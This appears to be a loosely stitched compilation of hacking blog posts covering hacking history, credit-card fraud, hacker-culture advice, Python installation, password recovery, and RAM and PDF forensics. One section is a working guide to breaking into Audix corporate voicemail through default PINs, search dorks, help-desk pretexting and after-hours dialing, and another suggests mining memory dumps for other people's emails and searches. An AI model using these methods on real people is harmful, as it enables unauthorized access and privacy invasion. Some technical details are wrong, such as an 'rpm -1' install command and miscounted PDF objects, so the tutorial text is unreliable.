History of Hacking

Is Hacking Always Bad?

Although the history of hacking is relatively unknown to most of the public, it's quite interesting to read about it. It doesn't matter if you aren't a computer expert or a system administrator of a big corporation.
Computers are as much part of our history as airplanes and cars, and it should be common knowledge to know how they came to be. It's the only way you can understand the effects of computer hacking in our life.

History of Hacking

Hacking is not limited to computers. The real meaning of hacking is to expand the capabilities of any electronic device; to use them beyond the original intentions of the manufacturer. As a matter of fact, the first hackers appeared in the 1960's at the Massachusetts Institute of Technology (MIT), and their first victims were electric trains. They wanted them to perform faster and more efficiently. So, is hacking always bad? Not really. It only depends on how to use it. But it wasn't until a group of these hackers decided to exert their knowledge in the computer mainframes of the MIT.

During the 1970's, a different kind of hacker appeared: the phreaks or phone hackers. They learned ways to hack the telephonic system and make phone calls for free. Within these group of people, a phreaker became famous because a simple discovery. John Draper, also known as Captain Crunch, found that he could make long distance calls with a whistle. He built a blue box that could do this and the Esquire magazine published an article on how to build them. Fascinated by this discovery, two kids, Steve Wozniak and Steve Jobs, decided to sell these blue boxes, starting a business friendship which resulted in the founding of Apple.

By the 1980's, phreaks started to migrate to computers, and the first Bulletin Board Systems (BBS) appeared. BBS are like the yahoo groups of today, were people posted messages of any kind of topics. The BBS used by hackers specialized in tips on how to break into computers, how to use stolen credit card numbers and share stolen computer passwords.

It wasn't until 1986 that the US government realized the danger that hackers represented to the national security. As a way to counteract this menace, the Congress passed the Computer Fraud and Abuse Act, making computer breaking a crime across the nation.

During the 1990's, when the use of the internet widespread around the world, hackers multiplied, but it wasn't until the end of the decade that system's security became mainstream among the public.

Today, we are accustomed to hackers, crackers, viruses, Trojans, worms and all of the techniques we need to follow to combat them.

Credit Card Hacking

Credit Card Hackers Are Here - Have You Checked Your Credit Report Lately?

Credit card hacking has become one of the new security headaches of consumers. Although in face to face transactions the percentage of credit card fraud is almost a tenth of a percent, in online transactions it's as high as two or three percent.
That means that for every one hundred transactions you may do in the internet, you may suffer two or three breaches in your private information. Stopping credit card number hacking is, nowadays, one of the priorities of credit card brands around the world. Online companies with secure merchant accounts are less likely to get hacked therefore you can feel confident to shop online at such stores.

One funny thing about many of these hackers; free credit card numbers are posted at the internet. Some of them don't want the potential money that can be acquired from this information, only the fame.

How Are Credit Cards Gained By Hackers?

A hacker has many ways to gain a credit card number from an innocent user. The most common one is known as phishing. In this technique, the hacker poses as an officer within an organization, let's say VISA. The hacker sends to a group of email accounts an alert, instructing the receiver to follow determined set of instructions before his credit card is cancelled.

If the user is not aware of this kind of fraud, he will insert his credit card number, his name and expiration date without knowing he is going to be a victim of an online crime.



Another way for hacking credit card numbers is through a website. The hacker only needs to hack the systems of an online retailer, let's say, Costco, and search for the database where the retailer stores the information of all of the users who have made recent transactions.

The third way is through the online process of buying. Let's say an adult finds a website with adult content that he or she finds attractive. It's quite probable that the website is only a masquerade for acquiring credit card information from you.

What Is A Carder?

A carder is a criminal who specializes in stealing information from credit cards. Although the majority of them buy the information from online vendors, some of them are quite savvy on how to access that information by themselves.

In the physical world, a carder will steal the information from a user while doing a face to face transaction. The criminal only needs to pass the card through a special scanner. This device will read from the magnetic strip all of the credit card information. Afterwards, the carder will trespass that information to a blank card available in many identity card stores.

In the virtual world, credit card hacking is a bit more sophisticated and automatized. A hacker could install inside your system a credit card hacking software known as Bugbear. This program is a keystroke logger; it captures the keys that you have pressed in your keyboard and after some time, it transmits this information to the hacker. The criminal will navigate through this data, searching for any private information that can give him access to your credit card.

Besides Bugbear, there is also the IRC bot. This automated software is used for determined functions, like a moderator for a chat room. But if it is used by a hacker, he may use it for stealing your credit card information. The IRC bot will pose as an official from a company, asking you to insert your credit card information.

Another mean that hackers use for stealing money from your credit card is through unused ebay accounts. Once they find a possible victim, the hacker uses a program that starts bombarding the account until it breaks it. Once inside, the hacker will use it for posing as the real user, selling equipment that will never reach the buyer once he buys it.

Hacking Tutorial

Hacking Simplified - For Those Who Want to Learn Things From the Scratch

It's quite probable that you have received spam offering a hotmail hacking guide that will give you the basics on how to become a hacker. Although it sounds tempting to have the power to know the private life of other persons, most of these guides and courses are nothing but scams that are looking for new victims.
If you really want to become a hacker, you need to go to the places were they gather: a hacking facebook, a hacker's forum, free hacking tutorials or even a mailing list. The information is out there. You only need to go and find it.

Where Can You Get Material on Hacking and Information on Hacking

There are two main sources. The first one is the Internet. You will have to make a basic query in your favorite search engine with the word hacker and start looking each one of the suggested sites. Most of them will only offer you limited tutorials on how to hack (like the Hacker's Black book or the Happy Hacker book, which are outdated). Other's will give you an useful insight on this world. After some time, you will find forums were people from around the world share their experiences.

Do not expect to enter an easy world. The jargon used by a group of hackers can be quite confusing for any beginner. So don't feel that you will never be part of it. Start with the basics and read "How to become a hacker" from Eric S. Rymond. Although the document is five years old, it will give you an introductory crash course on were do you need to start.

The second source is face to face reunions. Get into the internet and search for any hacker's meeting in your vicinity. You will be surprised to find that they meet quite regularly. Of course, do not expect to find a Matrix kind of reunion. This is serious, professional people that pay their rent by hacking. Drop by and make some questions on hacking tutorials.

What Is The Hackers Bible?

The hacker's bible has two possible sources, depending on whom do you ask. For some people, it is none other but the magazine 2600: The Hacker Quarterly. This magazine was created by Emmanuel Goldstein, and it focuses on aspects of different technologies. For example, it covers telecommunication devices as well as computers.

The magazine gives to its readers grey hacker's material. That means that it gives them information on how to augment the capacities of any electronic apparatus, such as a cell phone. This neutral posture is different to white hacking (were a hacker uses his abilities for a good cause, like detecting the vulnerabilities of a network) and black hacking (were a hacker uses his knowledge for selfish purposes, like creating a hotmail hacking guide).

The other Hacker's Bible is the Jargon File. This document is a glossary of hacker slang that has been collected since 1975, from the old days of the Arpanet (the precursor of the Internet).

Basics of Hacking

He can easily tweak these according to his needs and become hacker. This is the way the term was used when Bill Gates was inventing Windows.

Those who are often referred to as hackers today, should actually be called crackers - people who do not have unauthorized access, like a safe-cracker. If you doubt me, and want to know how to be a hacker then do a search on the term "professional hacker," and you will find many professional and legitimate computer training courses being offered. They are the ones learning the real hacker secrets.

What Are The Basics Needed To Become A Hacker

Everyone has heard of one individual or another that was caught while hacking computers that belonged to this or that organization. Because hacking into computers is highly illegal, it should be mentioned that this article will not mention any real specifics about the subject, and this author would rather gladly encourage you to become a real hacker - professionally.

This article, will however, give a brief overview of criminal hackers, some of their methods, and a few things you can do to make your own computer safer from hack attacks. Here are those things you need to learn on how to become a hacker.
  • Learn Computers
    It should go without saying that the first thing that is needed is to learn about computers. This means study. A lot of reading is involved along with just plain old-fashioned learning how to use a computer. Then, of course, there are the special aspects of computer study. The places where the tips are learned is often two-fold: a friend who has access to a computer, and a variety of places on the Web. But this is also an interesting thing - if a young person has the ability to learn, and wants to learn can use hacking tutorials- then why not take the time to learn the right things - things that can earn him a lot of money in the legit world? Is it possibly that it could be the friend he has that turns him away from the good?

Black hat or White hat! Computer Hacking Explained

A Brief History

One might not suspect that the art, or scourge, of computer hacking was created at one of the havens for technological excellence.
True, at MIT (Massachusetts Institute of Technology), a group of students developed the technique and borrowed their name from the "hackers" of the late 1800s who found amusement in pranking the emerging telephone companies.Getting their laughs and skills from hacking and cracking into primitive computers and exploiting the Arpanet (predecessor to the internet), they created a novelty that would become the target of federal crackdown in years to come. To define hacking in short, we can say that an artistic criminal offense of breaking into another remote system without the owner's consent for the purpose of stealing information is what is hacking.

However, the act of hacking started out innocently, and was basically a method of trying to figure out how computer systems worked. The 1970s saw the rise in "phreaking," or phone hacking, headed by John Draper. This method allowed the user of a "blue box,", when used with a Captain Crunch whistle of 2600 hertz which accessed the AT&T long distance system, to make free long distance calls. Hackers initiated with accessing the free phone calls through a varied range of sources, thereby managing to circumvent into the nation's radio system and the phoning system resulting in a tremendous phone fraud nationwide.

After the age of "phreaking," computers became not only the target, but also the forum, for a growing hacker population to communicate. The creation of bulletin board systems (BBS) allowed this communication and the technological possibility of more serious government and credit card hacking became possible. At this time in the early 80's, hacking groups such as the Legion of Doom began to emerge in the United States, giving organization, and thus more power to hackers across the country.

Once this happened, breaking into the computers became a legitimate activity, with its own groups and soon its own voice with the 2600 magazine, launched in 1984. The effects of computer hacking were serious. Two years later, inevitably, Congress launched the Computer Fraud and Abuse Act that outlawed hacking. Over the years, there was a series of noticeable occurrences as the worst consequential effect of computer hacking on more high profile cases, such as the Morris Worm, responsible for infecting government and university systems, and the Mitnick case in 1995, which captured Kevin Mitnick, steeling as many as 20000 credit card numbers.

In 1999, security software became widely known by the public, and with the release of new Windows programs, which were littered with security weaknesses, they became successful because of necessity. This fraudulent act of computer hacking is perhaps the major problem, confronting the rapidly expanding population of Internet users today, with the systems still trying to battle online hackers.

Installing Python on Linux

I’m back. Being that summer was in session, let’s say school was out, and I disappeared for a while doing some stuff for business purposes. So last time I wrote, School of Hacks – Part 2, I emphasized the use or learning and understanding a UNIX/Linux Operating System. Based on the feedback, it goes without saying that learning Python is a popular response to learn next.

I plan to get you started on the right foot and in doing so, I anticipate we will program a strong password generator. The very first lesson of course, is this lesson: Installing Python on Linux. In part 2 of this series, I described the the meaning behind Linux distributions, most Linux distributions come with Python installed. However, I will show you how to install Python on Debian and Fedora Linux. I chose these two distributions because they are the two major distros other systems are based on. Ubuntu, Knoppix, Linspire and others are Debian based while Fedora is RPM based just as Mandriva, SUSE and all Red Hat versions.

RPM Based Python installation
  • Boot up your favorite RPM based Linux ditro, I’m using Fedora.
  • Go to the Python for Linux RPM page at http://www.python.org/download/releases/2.4/rpms/
  • Download the Binaries for Fefora Core 3, they are i386 RPM
  • When the download is complete, open a console and go to the python-2.4.2.4….. file
  • Make sure you have root access, otherwise type the following commands
localhost:~$ su

Password: [enter your root password]

  • Type in the following command
  • rpm -1 python2.4-2.4-1pydotorg.i386.rpm
  • you should get a message, to read message
cat /var/spool/mail/root | less

  • You should be able to start Python by typing Python on the console. This command can also be used prior to installation or to see the Python version currently installed.
Debian based systems could also already be pre-installed with Python. However, if need be, installing on a Debian based system might be a little easier.
Debian Based Python installation

  • Boot up your favorite Debian based ditro, I’m running Debian 5
  • Open a console and make sure you have root access, otherwise type the following commands
localhost:~$ su

Password: [enter your root password]
  • Type in the following command
localhost:~# apt-get install python

  • Do you want to continue? [Y/n] Y
  • At this point, you should be able to start Python on the console on a Debian based system.
Although this covers a broad range of distributions, the categories of Linux distributions also include Gentoo, a portage package distro.
If you can go to a console, and  type:

python <enter>
1+1 <enter>


you should see and answer of 2, if so, you have properly installed Python on Linux and this should get you started in programming Python.

School of Hacks 2

I’m glad to have seen a positive response on the first part of this series. Before I elaborate in programming in python or other hacking languages, I want to discuss with you the second important skill in hacking. In case you have not guessed it, if you want to become a hacker, you need know an Open Source UNIX operating system.

Can you hack in Windows?  Yes. Windows is a good operating system, and you can install Python and run programs in C on Windows. But Windows is not Open Source. Windows is distributed in binary, in other words, you can only install Windows and not change nor manipulate the code of the operating system (OS). An open source OS has the option to download the source code and contribute to it by programming features, utilities or tools for it. There are two lessons to be thought in this here skill today, and they go hand in hand. One, if you want to be a hacker, you have use and contribute to the Free and Open Source Software (FOSS). This is a cultural trait. You can contribute in such a community as SourceForge, where you can download and develop FOSS. Hackers share software with their community, they test FOSS they didn’t program, write documentation for it, debug it, and eventually, write their own open source software. That is one reason why hackers use a FOSS UNIX Operating System. There are different variants of UNIX or UX operating systems, free or proprietary such as AIX, BSD, Solaris, SCO, HP-UX and the most popular, Linux, which leads us to the second lesson.

UNIX has been the operating system for scientist by scientists. It goes without saying, that hacking is a science. In the days before the Mac OS and Windows, UNIX was king and in the 1970’s, UNIX creators at Bell Labs, provided the source code to the OS to be taught in universities or enhanced by researchers. A US born professor at Vrije University in Amsterdam wrote his own UNIX (MINIX, or Minimal UNIX) and provided the 12,000 lines of C and Assembly code when you bought his book “’Operating Systems: Design and Implementation” by Andrew S. Tanenbaum. MINIX was created to teach university students how an operating system works. One student, Linus Torvalds, took the source code provided by the book in floppy disks, programmed a kernel, and according to his newsgroup post on compo.os.minix took “feedback on things people like/dislike in minix” and programmed “features most people would want”. As he shared it with the online community, like a good hacker boy that he was, it gained a lot of attention and within one month of releasing Linux 0.01 (or Linus UX) on the Internet, many hackers contributed to 0.02. Eventually Linux grew into the hundreds of Linux distributions today.

There are other Free OSS UNIX operating systems around that are used for hacking, these include FreeBSD and OpenSolaris. However, the importance to becoming a good hacker is to understand UNIX and how it works on the Internet. To do so, one must know the UNIX and Internet Fundamentals. The question here is now, what do you want read about next: should I contribute in detail on programming Python, or would you rather me show you the different ways to run Linux, including Live Distro, virtual or full installation or running Linux off a network. My next part of this series will depend on the reader, this is subliminally training you to a hacker lessons learned, contribute to this by commenting, and you’re on your way to becoming a hacker.

School of Hacks – Part 1

You never ask, “How do I become a hacker?” and you never say “I am a hacker.” Nowadays, you will run into countless YouTube Videos and blogs regarding “hacking.” I’m glad to hear Mr. Cracker’s first few episodes focused on what is a hacker and how does one hack. However, there are many stories that can be credited for tainting the term, like an incident in Los Alamos in 1982.
Webster’s dictionary defined a hacker as an expert at programming and solving problems with a computer. Hackers have otherwise been known as computer geeks or computer wizards; up until the word was tarnished by ruthless wizards that illegally gained access to systems and tamper with information. To this day, the word hacker is used to describe these geniuses that can force their way into an operating system and manipulate data. The term hacker derived from the reference to programmers “hacking away” at the bits and bytes. Since it takes an experienced hacker to gain unauthorized entrance into a secure computer to extract information and perform some prank or mischief at the site, the term has become synonymous with “cracker” or “blackhat”, a person who performs an illegal act. A technical professional that is paid to break into a computer system in order to test its security is called “Pentester” for Penetration Tester.


True hacking, is a culture of these programmers and pentesters that understand code and network security. To become one, is to be called one by an expert. If your friends proclaim you a “hacker” because you brute forced into an account in front of them, unless you wrote the algorithm, you are nothing but a “script kiddie”. If you wrote a program that is useful to the network security and you shared with the community and pentesters or system admins recognize your talent, then you are on your way.


But what is the way, you may ask. I will have to say, it’s a long way. It doesn’t happen overnight, and it doesn’t happen after reading this article of listening to every Mr. Cracker’s podcasts. Yet, there are certain steps you must follow, and I will elaborate in the articles to come. Let me get you started with the basics. A Hacker is a Programmer. Yes, not a MSCE or a CCNA but a programmer. Programming is a THE fundamental skill for hacking. I am a programmer. I began developing software over 10 years ago. I’m not the best, but I recommend you start by learning a language called Python. DO NOT start with a GUI based programming language like Java, or even Visual Basic or C#. Start with Python (http://www.python.org/) for two reasons. One, it’s free and powerful and two, it works on multiple platforms, i.e Windows or Linux. The importance of Linux is for another subject. Stick to semi-colon languages “;” like Perl and PHP, the object will be to move onto C and C++. It is best recommended in this subject that you learn or know all of the mentioned: Python, Perl, PHP, C and C++.


Utilize documentation provided on their site to learning Python. You would have to teach yourself in the next few days, months or years to be strong at that language. Then you can move onto another language, and it would become easier to learn once you understand data structuring and variables, etc. Hacking is the ability to use those languages and applying them to solve your problems. As you learn, keep in mind you are practicing how you think and you’re not really focusing on a particular language

Hacking Audix Voicemail Systems


So as many of you know cell phone voicemails are incredibly insecure. Now for reconnaisance thisisn’t useful when you are gathering information on big companies. Mostly due to the fact that employeecell phones are often private. When doing reconnaisance you should always be aware of the information youhave already found, and how it can be used. Thats where an employee directory comes in handy. Many top businessess use the Audix voicemail system so knowledge of the system is invaluable. Now every Audix system hassomething called a system number which is what you will call to access your voicemail remotely. The only thing you will need to access someones voicemail is their extension, and the password they chose for their voicemail.Just like in any other situation we will try basic passwords ( remember a password can be between 4-15 digits).The most common passwords used are 1234,12345,123456,birthdays,anniversaries, and the extension itself.

Now finding system numbers may seem difficult, and it is. There are ways around that pesky number though.We will start with the easiest; finding publicized numbers. So many schools/businessess publish their audix systeminstructions for their employees. These files tend to contain data such as system numbers, extensions, and default passwords.Now these could be difficult to find by random searching, but you’re in luck. I have created a google dork which hasvery good results “inurl:audix system instructions”, and useful but not as effective “intitle: audix setup instruction”.

We have covered how to use the audix system, and how to find publicized audix systems, but say thecompany you are gathering information on has not publicized their Audix system number. Now how exactly couldyou get this number? Well there is a number of ways the easiest, and if done properly most successful is tosimply social engineer it. People forget these numbers constantly so find an employee’s name ( for maximum success choosesomeone who isn’t ranked very high.) You will need the help desk number to which is easily found, it is normally the contact number. What you say is up to you, but remember your goal is to gain the system number; so your best bet is to saysomething like you’ve never had to access your voicemail outside the office, and you’re unsure of which number to call.

If the social engineer methods fail there is one more that is hit and miss. Sometimes improperly configuredAudix systems will allow you to access the system directly as if you were calling the number. Now the easiestway to do this is to call as many numbers as you can after hours, so no one answers, and try hitting 0,# or *. Now what you are lookingfor is something about the Audix system, and if it works you will hear a message about dialing to another extension. That is when youchoose the correct number, and try different extensions, and passwords.

How to hack Google password??

Hello folks, today I will tell you about one of the password recovery tool. GooglePasswordDecryptor is a free tool to recover your stored password from various application like Gtalk, Picassa, Desktop Search, Gmail Notifier,Internet explorer and Google Chrome.



hack Google password


GooglePasswordDecryptor is one of the best password recovery tool which I found while surfing and you can Dowload it form here.
You can also visit this link for more info on this tool.
If you are more curious to know how this tool work don’t forget to visit this link Exposing the Google Password Secrets.

RAM Analysis

Random-access memory (RAM) is a form of computer data storage. Today, it takes the form of integrated circuits that allow stored data to be accessed in any order (i.e., at random). “Random” refers to the idea that any piece of data can be returned in a constant time, regardless of its physical location and whether it is related to the previous piece of data. (Wikipedia Definition)
Lots of information like Email Conversations, Email addresses, Chat Records, Web-pages, URL, user names, searched item in search engine etc. can be found in RAM.
I have also found Email Conversations and URL  from the past.  This article discusses about basic techniques which can be used to dump and analyze the RAM.
So, lets start to get our hand dirty…. :)

Step 1  RAM Acquisition


There are many different methods like using Hardware devices, crash dumps and using software for dumping the Physical Memory(RAM).
But in this post , I will discuss the software method for acquisition of physical memory using command line tool MDD(Memory DD) .
You can download MDD tool from this link. .
Open command prompt. Enter mdd_1.3.exe -h to view all the options available.

C:\Documents and Settings\Administrator\Desktop\RAM>mdd_1.3.exe -h
-> mdd
-> ManTech Physical Memory Dump Utility
Copyright (C) 2008 ManTech Security & Mission Assurance -> This program comes with ABSOLUTELY NO WARRANTY; for details use option `-w’
This is free software, and you are welcome to redistribute it
under certain conditions; use option `-c’ for details.
mdd ManTech Physical Memory Dump Utility
Usage:
mdd <-o OUTPUTFILE> [-qvcw]
-o OUTPUTFILE output file for dump
-q quiet; no output except on error
-v verbose; output offsets of failed mappings
-c redistribution conditions for GPL
-w warranty information for GPL
C:\Documents and Settings\Administrator\Desktop\RAM>


For dumping physical memory(RAM) enter mdd_1.3.exe -o D:\RamDump.img
D:\RamDump.img is the path and file name for the image.

C:\Documents and
Settings\Administrator\Desktop\RAM>mdd_1.3.exe -o D:\RamDump.img
-> mdd
-> ManTech Physical Memory Dump Utility
Copyright (C) 2008 ManTech Security & Mission
Assurance
-> This program comes with ABSOLUTELY NO WARRANTY;
for details use option `-w’
This is free software, and you are welcome to
redistribute it
under certain conditions; use option `-c’ for
details.
-> Dumping 3317.88 MB of physical memory to file
‘D:\RamDump.img’.
849254 map operations succeeded (1.00)
123 map operations failed
took 939 seconds to write
MD5 is: 4fa719129198f8a360a9469b624bda7f
C:\Documents and Settings\Administrator\Desktop\RAM>

Step 2 RAM Analysis


Now, we have successfully dumped the physical memory to a file. If this file is a crash dump file then we can easily analyze this file with window debugger.
But this file is not a crash dump file format so I will show one of the basic techniques to analyze the RAM is to search for useful strings.
So, now we will extract all the strings from this image and save the strings into another file using Strings utility from Sysinternals. You can download this tool from this link.
Open command prompt and enter Strings.exe D:\RamDump.img > Output.txt

C:\Documents and Settings\Administrator\Desktop\RAM>Strings.exe D:\RamDump.img > Output.txt


Now you can use any text-editor to view and search the contents of Output.txt , I prefer to use Notepad++.
You can search for string like “www.”, “@”, “?q=”(for search query) etc. to find some useful info about the person using that computer.

Investigating Corrupted PDF

Hello Friends,
Today, I will show you how can you investigate a corrupted PDF. For this purpose I have created a sample PDF. Before reading this article,I will suggest you to read this another article PDF Overview for better understanding of PDF structure.



Tool Required

1. PDF Reader
2. Notepad++ for editing.
So , lets start to get our hand dirty..
First, download this sample PDF and try to open this PDF.
You will see this error message.
PDF Forensic
Now open this PDF in Notepad++.
Note: I have not encoded the PDF Contents with different filters for simplicity.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
1 0 obj
<<
	/Pages 2 0 R
	/Type /Catalog
>>
endobj
2 0 obj
<<
	/Count 2
	/Kids [ 3 0 R 5 0 R 7 0 R 9 0 R 11 0 R ]
	/Type /Pages
>>
endobj
3 0 obj
<<
	/MediaBox [ 0 0 795 842 ]
	/Parent 2 0 R
	/Contents 4 0 R
	/Resources <<
		/Font <<
			/F1 <<
				/Name /F1
				/BaseFont /Helvetica
				/Subtype /Type1
				/Type /Font
			>>
		>>
	>>
	/Type /Page
>>
endobj
4 0 obj
<<
	/Length 55
>>stream
BT
/F1 18 Tf
186 690 Td
20 TL
(www.secsavvy.com) Tj
ET
 
endstream
endobj
5 0 obj
<<
	/MediaBox [ 0 0 795 842 ]
	/Parent 2 0 R
	/Contents 6 0 R
	/Resources <<
		/Font <<
			/F1 <<
				/Name /F1
				/BaseFont /Helvetica
				/Subtype /Type1
				/Type /Font
			>>
		>>
	>>
	/Type /Page
>>
endobj
6 0 obj
<<
	/Length 45
>>stream
BT
/F1 15 Tf
186 690 Td
20 TL
(Page 1) Tj
ET
 
endstream
endobj
7 0 obj
<<
	/MediaBox [ 0 0 795 842 ]
	/Parent 2 0 R
	/Contents 8 0 R
	/Resources <<
		/Font <<
			/F1 <<
				/Name /F1
				/BaseFont /Helvetica
				/Subtype /Type1
				/Type /Font
			>>
		>>
	>>
	/Type /Page
>>
endobj
8 0 obj
<<
	/Length 45
>>stream
BT
/F1 15 Tf
186 690 Td
20 TL
(Page 2) Tj
ET
 
endstream
endobj
9 0 obj
<<
	/MediaBox [ 0 0 795 842 ]
	/Parent 2 0 R
	/Contents 10 0 R
	/Resources <<
		/Font <<
			/F1 <<
				/Name /F1
				/BaseFont /Helvetica
				/Subtype /Type1
				/Type /Font
			>>
		>>
	>>
	/Type /Page
>>
endobj
10 0 obj
<<
	/Length 45
>>stream
BT
/F1 15 Tf
186 690 Td
20 TL
(Page 3) Tj
ET
 
endstream
endobj
11 0 obj
<<
	/MediaBox [ 0 0 795 842 ]
	/Parent 2 0 R
	/Content 12 0 R
	/Resources <<
		/Font <<
			/F1 <<
				/Name /F1
				/BaseFont /Helvetica
				/Subtype /Type1
				/Type /Font
			>>
		>>
	>>
	/Type /Page
>>
endobj
12 0 obj
<<
	/Length 47
>>stream
BT
/F1 15 Tf
186 690 Td
20 TL
(Password) Tj
ET
 
endstream
endobj
xref
0 13
0000000000 65535 f
0000000010 00000 n
0000000067 00000 n
0000000161 00000 n
0000000398 00000 n
0000000510 00000 n
0000000747 00000 n
0000000849 00000 n
0000001086 00000 n
0000001188 00000 n
0000001426 00000 n
0000001529 00000 n
0000001768 00000 n
trailer
<<
	/Root 1 0 R
	/Size 13
>>
startxref
1873
%%EOF
PDF file consists of 4 elements:
  • PDF header identifying the PDF specification.
  • A body containing the objects that make up the document contained in the file
  • A cross-reference table containing information about the indirect objects in the file
  • A trailer giving the location of the cross-reference table and of certain special objects within the body of the file.
But in this case there is no header so we will add a PDF header and try to open this PDF.

%PDF-1.7

Now we are able to open this PDF.


PDF Forensic
We can see that this PDF consists of 2 pages as shown in image above but investigate further to verify it.




PDF Forensic
Now, we are able to find that this PDF has actually total 5 pages so edit the Count from 2 to 5 and open this PDF.

%PDF-1.7
1 0 obj
<<
/Pages 2 0 R
/Type /Catalog
>>
endobj
2 0 obj
<<
/Count 5
/Kids [ 3 0 R 5 0 R 7 0 R 9 0 R 11 0 R ]
/Type /Pages
>>
endobj

Now, we are able to see all 5 pages but last page is blank so we will investigate further.
Last page is pointed by 11 0 R indirect object reference.

11 0 obj
<<
/MediaBox [ 0 0 795 842 ]
/Parent 2 0 R
/Content 12 0 R
/Resources <<
/Font <<
/F1 <<
/Name /F1
/BaseFont /Helvetica
/Subtype /Type1
/Type /Font
>>
>>
>>
/Type /Page
>>
endobj



Contents keyword is used for describing the contents of a file . If this entry is absent then the page is empty.
But in this object number 12 Contents is written as Content so PDF reader is unable to recognize the name Content so it ignores the Content without giving any error.
Replace Content with Contents and open the PDF. Now you are able to see all five pages. :)


You can download this corrected PDF from this link.


Demo(High Quality)




or you can also watch it on youtube
If you are more interested to read about PDF then I recommend you to visit excellent bog of Didier Stevens

PDF Overview

Portable Document Format(PDF) is a file format for representing documents in a manner independent of the application software, hardware, and operating system used to create them and of the output device on which they are to be displayed or printed.

PDF syntax consists of four main components:
  1. Objects
  2. File Structure
  3. Document Structure
  4. Content Stream
Objects
A PDF file consists primarily of objects, of which there are eight types:
  1. Boolean values, representing true or false
  2. Numbers include integer and real
  3. Strings
  4. Names
  5. Arrays, ordered collections of objects
  6. Dictionaries, collections of objects indexed by Names
  7. Streams, usually containing large amounts of data
  8. The null object denoted by keyword null

Strings Objects
String objects can be represented in two ways:
  • Literal Strings
  • Hexadecimal Strings
Literal Strings consists of any number of characters between opening and closing parenthesis.
Example
(This is a string objects)
If string is too long then it can be represented using backslash as shown below
(This is a very long\
String.)
Hexadecimal Strings consists of hexadecimal character enclose with angel bracket
Example:
<A0C1D2E3F1>
Each pair of hexadecimal defines one byte of string.


Names Objects
A names object is uniquely defined by sequence of characters. Slash character(/) defined a name.
Exmaple:
/secsavvy
/SecSavvy
Both are different name.
/Sec#20Savvy mean Sec Savvy 20 is hexadecimal value for white space.
Note: Pdf is case-sensitive.


Array Objects
An array object is collection of objects. PDF array object can be heterogeneous. It is defined with square brackets.
Example:
[1 (string) /Name 3.14]


Dictionary Objects
Dictionary object consists of pairs of objects. The first element is key and the second is value.
The key must be name. A dictionary is written as a sequence of key-value pairs enclosed in double angle brackets (<< … >>).
Example:
<<  /Type /Pages
/Kids [ 4 0 R ]
/Count 1
>>
Count is a key and 1 is value.


Stream Objects
A stream object, like a string object, is a sequence of bytes. Stream can be of unlimited length, whereas a string is subject to an implementation limit. For this reason, objects with potentially large amounts of data, such as images and page descriptions, are represented as streams.
A stream consists of a dictionary followed by zero or more bytes bracketed between the keywords stream and endstream:
dictionary
stream
… Zero or more bytes …
endstream


Indirect Objects
Objects may be labeled so that they can be referred to by other objects. A labeled object is called an indirect object.
Example
Consider this object
obj and endobj is a keyword.
10 0 obj
(SecSavvy String)
endobj
This object defined a string of object number 10.
This object can be referred in a file by indirect reference as
10 0 R


Filters
A filter is an optional part of the specification of a stream, indicating how the data in the stream must be decoded before it is used. For example, if a stream has an ASCIIHexDecode filter, an application reading the data in that stream will transform the ASCII hexadecimal-encoded data in the stream into binary data.
For data encoded using LZW and ASCII base-85 encoding (in that order) can be decoded using the following entry in the stream dictionary:
/Filter [ /ASCII85Decode /LZWDecode ]
Example
1 0 obj
<< /Length 534 /Filter [ /ASCII85Decode /LZWDecode ]>>
stream
J..)6T`?p&<!J9%_[umg"B7/Z7KNXbN'S+,*Q/&"OLT'FLIDK#!n`$"<Atdi`\Vn%b%)&'cA*VnK\CJY(sF>c!Jnl@RM]WM;jjH6Gnc75idkL5]+cPZKEBPWdR>FF(kj1_R%W_d&/jS!;iuad7h?[L−F$+]]0A3Ck*$I0KZ?;<)CJtqi65XbVc3\n5ua:Q/=0$W<#N3U;H,MQKqfg1?:lUpR;6oN[C2E4ZNr8Udn.'p+?#X+1>0Kuk$bCDF/(3fL5]Oq)^kJZ!C2H1′TO]Rl?Q:&’<5&iP!$Rq;BXRecDN[IJB`,)o8XJOSJ9sDS]hQ;Rj@!ND)bD_q&C\g:inYC%)&u#:u,M6Bm%IY!Kb1+”:aAa’S`ViJglLb8<W9k6Yl\\0McJQkDeLWdPN?9A’jX*al>iG1p&i;eVoK&juJHs9%;Xomop”5KatWRT”JQ#qYuL,JD?M$0QP)lKn06l1apKDC@\qJ4B!!(5m+j.7F790m(Vj88l8Q:_CZ(Gm1%X\N1&u!FKHMB~>
endstream
endobj
List of Standard Filters:
  • ASCIIHexDecode
  • ASCII85Decode
  • LZWDecode
  • FlateDecode
  • RunLengthDecode
  • CCITTFaxDecode
  • JBIG2Decode
  • DCTDecode
  • JPXDecode
  • Crypt
File Structure
PDF file consists of 4 elements:
  • PDF header identifying the PDF specification.
  • A body containing the objects that make up the document contained in the file
  • A cross-reference table containing information about the indirect objects in the file
  • A trailer giving the location of the cross-reference table and of certain special objects within the body of the file.
Pdf File Structure
Cross Reference Table
The cross-reference table contains information that permits random access to indirect objects within the file so that the entire file need not be read to locate any particular object. The table contains a one-line entry for each indirect object, specifying the location of that object within the body of the file.
Each cross-reference section begins with a line containing the keyword xref. Following this line are one or more cross-reference subsections, which may appear in any order.
Each cross-reference subsection contains entries for a contiguous range of object numbers. The subsection begins with a line containing two numbers separated by a space: the object number of the first object in this subsection and the number of entries in the subsection. For example, the line
0 8
introduces a subsection containing five objects numbered consecutively from 0 to 8.
xref
0 8
0000000000 65535 f
0000000009 00000 n
0000000074 00000 n
0000000120 00000 n
0000000179 00000 n
0000000364 00000 n
0000000466 00000 n
0000000496 00000 n
0000000009 is 10 digit byte offset in the case of in-use entry , giving the number of bytes from the beginning of the file to the beginning of the object.
0000000000 is the 10-digit object number of the next free object int the case of free entry
Example of Simple Hello World Text PDF
Pdf Example
Pdf Example
Pdf Example

